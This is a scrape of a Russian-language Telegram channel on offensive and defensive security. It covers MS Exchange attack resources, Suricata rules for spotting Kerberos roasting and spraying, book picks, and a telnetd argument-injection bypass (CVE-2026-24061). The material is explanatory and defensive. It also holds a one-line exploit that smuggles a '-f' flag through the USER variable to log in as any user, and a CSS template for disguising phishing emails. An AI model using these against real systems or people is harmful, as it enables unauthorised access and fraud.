hello.gif
12.5 MB
Этот канал — личный сборник обработанных знаний о мире безопасности в призме восприятия специалиста по анализу защищённости;
└─$ whoami
qwqoro
[#offense] [#defense] [#enumeration] [#web] [#web3] [#infrastructure] [#ad] [#mobile] [#reverse] [#malware] [#forensics] [#devsecops] [#certification] [#ai] [#iot]
// Добро пожаловать в HaHacking! Please open Telegram to view this post
VIEW IN TELEGRAM
20❤11 2
Любопытный инструмент — adPEAS, скрипт, подобный проектам PEAS, предназначенный для энумерации AD и включающий в себя приличное число модулей;
Модули-сборщики собирают информацию о:
@HaHacking
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4🆒1
Примеры горшочков из доклада:➖ Фейковый прокси:
newsletter.blockthreat.io/p/blockthreat-week-28-2025➖ Ошибка эксплорера:
samczsun.com/paradigm-ctf-2021-swap➖ Пробелы:
github.com/thec00n/smart-contract-honeypots/.../TestToken.sol➖ Утёкший seed:0xb7605ddc0327406a7ac225b9de87865e22ac5927➖ Баг или фича:0x8685631276cfcf17a973d92f6dc11645e5158c0c➖ Кто больше?0x5aa88d2901c68fda244f1d0584400368d2c8e739#code➖ Загадка:0x3caf97b4d97276d75185aaf1dcf3a2a8755afe27➖ Private Bank:0x95d34980095380851902ccd9a1fb4c813c2cb639
Рассмотрели уязвимости в цепочке загрузки SoC Kirin и Balong:
Было интересно послушать про применение идей, которые стали базовыми для тех же SQL инъекций, но редко рассматриваются из-под других углов: например, Error-based и Time-based подходы, но в рамках SSTI – для идентификации шаблонизатора и подбора эффективного способа эксплуатации;
Рассмотрели рабочие и нерабочие способы модификации LDAP запросов:
Хочу сказать спасибо тем, кто подходил поздороваться или поболтать! Было приятно увидеть знакомые лица❤️
И отдельное спасибо девушкам – вы все солнышки, успехов вам огромных во всём, за что возьмётесь!❤️
@HaHacking
Please open Telegram to view this post
VIEW IN TELEGRAM
❤15 9🎃5💔1
Здесь – собран большой спектр действительно нужной информации, включая готовые скрипты и инструменты, которая пригодится на всех этапах от разведки и сбора информации до экспулатации уязвимостей OWA / MS Exchange:
▪️ Password Spraying
▪️ Global Address List (GAL) / Offline Address Book (OAB) (swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces)
▪️ NSPI (github.com/mhaskar/ExchangeFinder)
▪️ ActiveSync (EAS) — github.com/snovvcrash/peas
▪️ ZDI-CAN-22101 — SSRF в CreateAttachmentFromURI (trendmicro.com/.../ssrf-exchange-owa)
▪️ OWA CAP Bypass
▪️ CVE-2020-0688
▪️ ProxyLogon
(CVE-2021-26855 – Pre-auth SSRF, CVE-2021-27065 – Post-auth Arbitrary-File-Write)
▪️ ProxyOracle
(CVE-2021-31196 – The Padding Oracle, CVE-2021-31195 – XSS и обход HttpOnly)
▪️ ProxyShell
(CVE-2021-34473 – Pre-auth Path Confusion leads to ACL Bypass, CVE-2021-34523 – Exchange PowerShell Backend Elevation-of-Privilege, CVE-2021-31207 – Post-auth Arbitrary-File-Write)
▪️ ProxyRelay
(фронтенд Exchange, бекенд Exchange, Windows DCOM)
▪️ PrivExchange
(NTLM relaying machine accounts, Проведение атаки с повышением привилегий, Relaying to LDAP and signing, Атака без использования учётных данных)
🧩 Презентация ‟Социотехническое тестирование: цели, методы, инструменты” (Я. Бабин)
🧩 busterb/msmailprobe — time-based атаки подбора логинов для Office 365 / MS Exchange;
🧩 FaLLenSKiLL1/ru_names_wordlists — словари RU юзернеймов в разных форматах (+ дополнительные: тут, в нашем посте);
▪️ ФамилияИмя / ИмяФамилия
▪️ Фамилия.Имя / Имя.Фамилия
▪️ Фамилия-Имя / Имя-Фамилия
▪️ Фамилия_Имя / Имя_Фамилия
🧩 Шаблоны Nuclei для автоматической идентификации и эксплуатации представленных уязвимостей:
▪ cyberheartmi9/Proxyshell-Scanner
▪ projectdiscovery/nuclei-templates/issues/5602
▪ projectdiscovery/nuclei-templates/.../CVE-2021-26855.yaml
▪ projectdiscovery/nuclei-templates/.../CVE-2021-34473.yaml
▪ projectdiscovery/nuclei-templates/issues/2395
Идея сводится к внедрению CSS стилей в HTML письма, чтобы покрасить в белый цвет всё, кроме определённых элементов:
<!DOCTYPE html>
<html>
<head>
<title></title>
<style type="text/css">
body {
display: none !important;
background:#FFFFFF !important;
}
.PAYLOAD {
display: block !important;
}
... {
display: none !important;
background:#FFFFFF !important;
}
</style>
</head>
<body>
<p class="PAYLOAD">Hi! I hope this email finds you well! Please have a look at the attached file ASAP</p>
</body>
</html>
@HaHacking
Please open Telegram to view this post
VIEW IN TELEGRAM
1❤11 10☃5
▪️ Kerberos Enumerationalert tcp any any -> any 88 (
msg:"[TCP] High Rate of Kerberos AS-REQ, Possible Enumeration";
content:"|a1 03 02 01 05 a2 03 02 01 0a|";
content:"|6b 72 62 74 67 74|";
fast_pattern;
threshold:type limit, track by_src, count 5, seconds 10;
sid:100001;
rev:1;
)
▪️ Kerberos Bruteforcealert tcp any any -> any 88 (
msg:"[TCP] High Rate of Kerberos AS-REQ with PA-DATA, Possible Bruteforce or Spray Attack";
content:"|a1 03 02 01 05 a2 03 02 01 0a|";
content:"|a1 03 02 01 02|";
content:"|6b 72 62 74 67 74|";
fast_pattern;
threshold:type limit, track by_src, count 5, seconds 10;
sid:100004;
rev:1;
)
▪️ Kerberoasting
#️⃣ Поиск подходящих пользователей:alert tcp any any -> any 389 (
msg:"Searching Kerberoastable users via LDAP - Possible Kerberoasting";
flow:to_server, stateless;
content:"|a3 18 04 0e 6f 62 6a 65 63 74 43 61 74 65 67 6f 72 79 04 06 70 65 72 73 6f 6e|";
content:"|87 14 73 65 72 76 69 63 65 50 72 69 6e 63 69 70 61 6c 4e 61 6d 65|";
content:"|a2 31 a9 2f 81 16 31 2e 32 2e 38 34 30 2e 31 31 33 35 35 36 2e 31 2e 34 2e 38 30 33 82 12 75 73 65 72 41 63 63 6f 75 6e 74 43 6f 6e 74 72 6f 6c 83 01 32|";
fast_pattern;
sid:100004;
rev:1;
)
#️⃣ Для отлова подозрительных TGS-REQ:alert tcp any any -> any 88 (
msg:"[TCP] Suspicious Kerberos TGS-REQ — stage 1";
flow:to_server;
content:"|a1 03 02 01 05 a2 03 02 01 0c|";
fast_pattern;
content:"|6b 72 62 74 67 74|";
content:"|a0 07 03 05 00 40 81 00 10|";
content:"|a0 03 02 01 17|";
content:"|30 23 a0 04 02 02 ff 80|";
flowbits:set,kerb.tgsreq.rc4;
noalert;
sid:100006;
rev:1;
)
#️⃣ Для отлова ответа TGS-REQ:alert tcp any 88 -> any any (
msg:"[TCP] Kerberos TGS-REP after SPN request — Possible Kerberoasting";
flow:to_client;
content:"|a0 03 02 01 05 a1 03 02 01 0d|";
fast_pattern;
content:"|a0 03 02 01 17|";
flowbits:isset,kerb.tgsreq.rc4;
flowbits:unset,kerb.tgsreq.rc4;
sid:100008;
rev:1;
)
▪️ AS-REP Roastingalert tcp any any -> any 88 (
msg:"Suspicious AS-REQ Packet, Possible AS-REP Roasting";
flow:to_server, stateless;
content:"|a0 07 03 05 00 50 80 00 00 a1|";
content:"|6b 72 62 74 67 74|";
fast_pattern;
content:!"|a1 03 02 01 02|";
sid:100009;
rev:1;
)
mitm6#web
💬 Если посмотреть из-под другого угла: когда-то поднимался вопрос корректности реализации парсинга IPv6 в разных ЯП + вытекающих уязвимостей — подробнее в статье @slonser_notes:
🧩 ‟Exploring IPv6 Zone Identifier”
▪️ Обход белого списка поддоменов
▪️ Инъекция с обходом формата URL
▪️ Инъекция произвольных команд
▪️ Инъекция CRLF-конструкций
▪️ Внедрение XSS пейлоада
▪️ Обход чёрного списка IP адресов
▪️ Использование особенностей для SSRF
▪️ . . .
@HaHacking
Please open Telegram to view this post
VIEW IN TELEGRAM
Возможно, прозвучит громко, но всё же — это та книжка, что должна стоять на полке у каждого внутрянщика; Аж ± 460 страниц чистой техники с упором на "нападение": необходимая теоретическая база для понимания атак
Из оглавления:▪️ Атаки на доверенные отношения доменов и лесов AD▪️ Эксплуатация небезопасных групповых политик▪️ Пентест Read-only Domain Controller'ов▪️ Привилегии в Windows▪️ Извлечение учётных данных➕ кража сессий▪️ Обход UAC▪️ Методы дампа тикетов➕ Ручная инъекция тикетов▪️ WinAPI для пентестеров➕ Обфускация вызовов▪️ Обращение к нативному коду➕ Варианты исполнения стороннего кода▪️ ...
[Совсем свежо!
Техническая книга о защите инфраструктуры от атак, внутри которой 2 части (Внешний нарушитель + Внутренний нарушитель) & 2 стороны (Хакер / Абстрактная компания): обнаружение и анализ атакующего, противодействие хакерской разведке, выявление атак и противостояние им.
Из оглавления:▪️ Атаки из Интернета:
что ищет хакер? где он? какие у него ресурсы? как противодействовать?▪️ Атаки в радиоэфире:
обнаружение + противодействие (деаутентификации, PMKID, брутфорсу, Evil Twin, GTC downgrade, KARMA)▪️ Атаки в локальной сети:
обнаружение снифферов, сканирования, перехвата трафика, вредоносных серверов, NetBIOS спуфинга, NTLM-relay + размещаем honeypot'ы▪️ Атаки в AD:
обнаружение атак на пользователей / хосты / групповые политики / группы / ...
С юмором о наболевшем, но с пользой для проектов: обзор проблем безопасности в рамках жизненного цикла разработки ПО с точки зрения того, кому придётся с этими проблемами разбираться;
Здесь про: организацию процессов, инциденты, харденинг инфраструктуры, код-ревью и написание тестов, буковки QA, SAST, SCA, OSA, ...
Реальные истории, громкие инциденты и вредоносные кампании, но красивыми словами, и
Здесь [популярно] про: эволюцию вредоносного ПО, инфицирование компьютерными червями Stuxnet КИИ + Carbanak банков, шпионское ПО DarkHotel, троян Turla / Uroboros, операцию "Триангуляция", ...
Художественное произведение на случай, если захочется разгрузить голову от взрослых задач и взамен ощутить себя подростком в 00-х: та самая романтика "андерграунда", форумов со всем им причитающимся и, конечно, трудностями юности – куда ж без этого?
Займёт пару вечеров, но сделает тепло на душе!
@HaHacking
Please open Telegram to view this post
VIEW IN TELEGRAM
❤16 8☃4💔3
В этот раз: обход аутентификации
root! С публичным PoCCVE-2026-24061 — CVSS (v3) ~9.8, Improper Neutralization of Argument Delimiters in a Command / Argument Injection
telnetd: появилась тут и была с нами 10+ лет (GNU InetUtils v1.9.3 – v2.7 / 2015 – 2025 гг.);USER, чтобы починить автовход для случаев, когда не была доступна аутентификация Kerberos.Сервер
telnetd обращается к /usr/bin/login (обычно работает из-под root)USER – вместо %U:...
char *login_invocation =
PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
...
...
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
...
/usr/bin/login есть флаг -f — пропустить аутентификацию! (например, для автовхода getty)Ему даже можно передать username / UID пользователя:
login [-p] [-s shell] [-h host] [-H] [[-f] username|UID]; // Например, root USER не нормализуется; Возможно поместить туда дополнительные флаги для /usr/bin/logintelnet провести автовход (флаги -a / --login):USER='-f qwqoro' telnet -a 127.0.0.1
@HaHacking
Please open Telegram to view this post
VIEW IN TELEGRAM
❤15 7☃3